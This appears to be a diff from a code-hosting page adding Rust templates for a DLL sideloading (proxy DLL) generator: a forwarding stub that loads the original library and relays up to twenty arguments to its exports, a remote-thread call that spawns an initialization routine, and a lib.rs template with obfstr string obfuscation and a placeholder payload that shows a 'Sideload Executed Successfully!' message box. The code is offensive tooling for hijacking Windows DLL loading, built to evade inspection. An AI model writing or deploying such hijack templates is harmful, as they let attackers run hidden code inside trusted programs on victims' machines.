0x1FFFFF,
|
||||
ptr::null_mut(),
|
||||
-1isize as *mut std::ffi::c_void,
|
||||
start_addr,
|
||||
ptr::null_mut(),
|
||||
0, 0, 0, 0,
|
||||
ptr::null_mut()
|
||||
);
|
||||
|
||||
if result != 0 {
|
||||
thread::spawn(|| {
|
||||
initialize_component();
|
||||
});
|
||||
}
|
||||
}
|
||||
} else {
|
||||
thread::spawn(|| {
|
||||
initialize_component();
|
||||
});
|
||||
}
|
||||
}
|
||||
drop(guard);
|
||||
|
||||
unsafe {
|
||||
if CALLBACK_TABLE[export_id as usize] != 0 {
|
||||
let target: extern "system" fn(
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
) -> u64 = std::mem::transmute(CALLBACK_TABLE[export_id as usize]);
|
||||
return target(
|
||||
a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18,
|
||||
a19, a20,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let proc_name = match export_id {
|
||||
{MATCH_STATEMENT}
|
||||
_ => s!("").to_string(),
|
||||
};
|
||||
|
||||
if proc_name.is_empty() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
let dll_name = DLL_NAME.as_str();
|
||||
let module_handle = load_library_a(dll_name);
|
||||
if module_handle == 0 {
|
||||
return 0;
|
||||
}
|
||||
|
||||
let proc_addr = get_function_address(module_handle, &proc_name);
|
||||
if proc_addr == 0 {
|
||||
return 0;
|
||||
}
|
||||
|
||||
unsafe {
|
||||
CALLBACK_TABLE[export_id as usize] = proc_addr;
|
||||
let target: extern "system" fn(
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
u64,
|
||||
) -> u64 = std::mem::transmute(proc_addr);
|
||||
return target(
|
||||
a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19,
|
||||
a20,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
{HIJACK_FUNCTION}
|
||||
"##;
|
||||
@@ -0,0 +1,58 @@
|
||||
pub const CARGO_TOML_TEMPLATE: &str = r#"
|
||||
[package]
|
||||
name = "{PROJECT_NAME}"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[lib]
|
||||
crate-type = ["cdylib"]
|
||||
|
||||
[dependencies]
|
||||
obfstr = "0.4.4"
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.61.2"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_System_SystemServices",
|
||||
"Win32_UI_WindowsAndMessaging",
|
||||
]
|
||||
"#;
|
||||
|
||||
pub const LIB_RS_TEMPLATE: &str = r#"
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
use std::ffi::c_void;
|
||||
use std::ptr::null_mut;
|
||||
use obfstr::obfstr as s;
|
||||
use windows_sys::Win32::System::SystemServices::{DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH};
|
||||
use windows_sys::Win32::UI::WindowsAndMessaging::MessageBoxW;
|
||||
use windows_sys::core::BOOL;
|
||||
|
||||
mod forward;
|
||||
|
||||
#[no_mangle]
|
||||
#[allow(non_snake_case)]
|
||||
pub unsafe extern "system" fn DllMain(
|
||||
_hinst: *mut c_void,
|
||||
reason: u32,
|
||||
_reserved: *mut c_void,
|
||||
) -> BOOL {
|
||||
match reason {
|
||||
DLL_PROCESS_ATTACH => 1,
|
||||
DLL_PROCESS_DETACH => 1,
|
||||
_ => 1,
|
||||
}
|
||||
}
|
||||
|
||||
unsafe fn payload_execution() {
|
||||
MessageBoxW(
|
||||
null_mut(),
|
||||
s!("Sideload Executed Successfully!").as_ptr() as *const u16,
|
||||
s!("Success").as_ptr() as *const u16,
|
||||
0,
|
||||
);
|
||||
}
|
||||
|
||||
{HIJACK_FUNCTION}
|
||||
"#;
|
||||
Reference in New Issue
Block a user